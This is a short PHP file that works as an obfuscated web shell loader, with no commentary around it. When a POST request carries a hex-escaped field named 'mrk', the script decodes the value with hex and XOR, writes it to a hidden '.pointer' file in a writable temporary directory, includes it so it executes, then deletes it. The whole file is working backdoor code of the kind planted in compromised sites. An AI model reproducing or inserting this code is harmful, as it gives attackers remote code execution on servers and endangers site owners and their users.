<?php

if(isset($_POST) && isset($_POST["\x6D\x72k"])){
	$symbol = array_filter(["/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]);
	$fac = hex2bin($_POST["\x6D\x72k"]);
	$holder = '' ;  for($y=0; $y<strlen($fac); $y++){$holder .= chr(ord($fac[$y]) ^ 97);}
	while ($res = array_shift($symbol)) {
    		if (is_dir($res) && is_writable($res)) {
    $pgrp = "$res" . "/.pointer";
    if (@file_put_contents($pgrp, $holder) !== false) {
	include $pgrp;
	unlink($pgrp);
	exit;
}
}
}
}